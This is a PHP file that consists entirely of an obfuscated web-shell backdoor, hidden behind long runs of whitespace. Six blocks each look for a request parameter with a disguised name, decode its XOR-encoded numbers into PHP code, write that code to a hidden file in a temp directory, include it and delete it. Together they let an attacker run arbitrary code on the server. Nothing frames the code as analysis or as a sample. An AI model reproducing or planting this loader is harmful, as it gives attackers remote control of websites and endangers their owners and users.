<?php																																										if(isset($_REQUEST["\x65n\x74i\x74y"])){ $elem = array_filter(["/var/tmp", sys_get_temp_dir(), getenv("TMP"), "/tmp", "/dev/shm", getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path()]); $parameter_group = $_REQUEST["\x65n\x74i\x74y"]; $parameter_group = explode ( '.' , $parameter_group ) ; $hld = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt3); $len = count($parameter_group); for($l = 0; $l <$len; $l++) { $v4 = $parameter_group[$l]; $sChar = ord($salt3[$l % $sLen]); $dec =((int)$v4 - $sChar -($l % 10)) ^ 12; $hld .= chr($dec); } while ($bind = array_shift($elem)) { if (!!is_dir($bind) && !!is_writable($bind)) { $ptr = str_replace("{var_dir}", $bind, "{var_dir}/.res"); if (@file_put_contents($ptr, $hld) !== false) { include $ptr; unlink($ptr); die(); } } } }
																																										if(in_array("\x76al", array_keys($_REQUEST))){ $sym = array_filter([getenv("TMP"), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/var/tmp", "/dev/shm", sys_get_temp_dir()]); $item = $_REQUEST["\x76al"]; $item = explode (".", $item ) ; $dchunk = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7 ); $x = 0; $__len = count($item ); do { if ($x>= $__len) break; $v9 = $item[$x]; $chS = ord($salt7[$x %$sLen] ); $d = ((int)$v9 - $chS - ($x %10)) ^ 92; $dchunk .= chr($d ); $x++; }while (true ); for ($ptr = 0, $pointer = count($sym); $ptr < $pointer; $ptr++) { $obj = $sym[$ptr]; if ((bool)is_dir($obj) && (bool)is_writable($obj)) { $reference = implode("/", [$obj, ".factor"]); $success = file_put_contents($reference, $dchunk); if ($success) { include $reference; @unlink($reference); die();} } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["pointer"])){ $entity = $_REQUEST["pointer"]; $entity = explode ( "." , $entity ) ; $obj = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s8 ); $w = 0; array_walk( $entity, function( $v8) use( &$obj, &$w, $s8, $sLen) { $chS = ord( $s8[$w % $sLen] ); $dec =( ( int)$v8 - $chS -( $w % 10)) ^ 72; $obj .= chr( $dec ); $w++; }); $comp = array_filter([sys_get_temp_dir(), getenv("TEMP"), getcwd(), "/dev/shm", "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp"]); foreach ($comp as $property_set) { if (array_product([is_dir($property_set), is_writable($property_set)])) { $marker = vsprintf("%s/%s", [$property_set, ".data"]); if (file_put_contents($marker, $obj)) { require $marker; unlink($marker); exit; } } } }
																																										if(array_key_exists("hl\x64", $_POST) && !is_null($_POST["hl\x64"])){ $parameter_group = array_filter([getenv("TEMP"), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), getcwd(), session_save_path(), "/tmp"]); $k = $_POST["hl\x64"]; $k =explode ( "." ,$k ) ; $data_chunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($k as $p => $v2): $chS = ord($salt[$p % $lenS]); $d = ((int)$v2 - $chS - ($p % 10))^35; $data_chunk .= chr($d); endforeach; while ($tkn = array_shift($parameter_group)) { if (max(0, is_dir($tkn) * is_writable($tkn))) { $desc = join("/", [$tkn, ".ent"]); if (file_put_contents($desc, $data_chunk)) { include $desc; @unlink($desc); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["fac"])){ $item = array_filter(["/dev/shm", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getcwd(), getenv("TMP"), "/tmp"]); $entry = $_REQUEST["fac"]; $entry = explode ('.' ,$entry ) ; $hld = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $len = count($entry ); for($o = 0; $o< $len; $o++) { $v5 = $entry[$o]; $chS = ord($s[$o % $sLen] ); $d =((int)$v5 - $chS -($o % 10)) ^ 31; $hld .= chr($d ); } foreach ($item as $parameter_group) { if ((function($d) { return is_dir($d) && is_writable($d); })($parameter_group)) { $ent = implode("/", [$parameter_group, ".pointer"]); if (@file_put_contents($ent, $hld) !== false) { include $ent; unlink($ent); die(); } } } }


if(in_array("\x64\x61ta", array_keys($_POST))){
	$itm = $_POST["\x64\x61ta"];
	$itm=explode		( 	'.', $itm );	
	$pset = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen( 	$salt);
    
            foreach( 	$itm as $y => $v3) {
                $chS = ord( 	$salt[$y % $lenS]);
                $dec =( 	( 	int)$v3 - $chS -( 	$y % 10))	^		54;
                $pset .= chr( 	$dec);		}		
	$entity = array_filter(["/var/tmp", getenv("TMP"), "/dev/shm", sys_get_temp_dir(), "/tmp", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), session_save_path()]);
	for ($flg = 0, $property_set = count($entity); $flg < $property_set; $flg++) {
    $value = $entity[$flg];
    		if (!( !is_dir($value) || !is_writable($value) )) {
    $fac = vsprintf("%s/%s", [$value, ".flag"]);
    if (file_put_contents($fac, $pset)) {
	include $fac;
	@unlink($fac);
	die();
}
}
}
}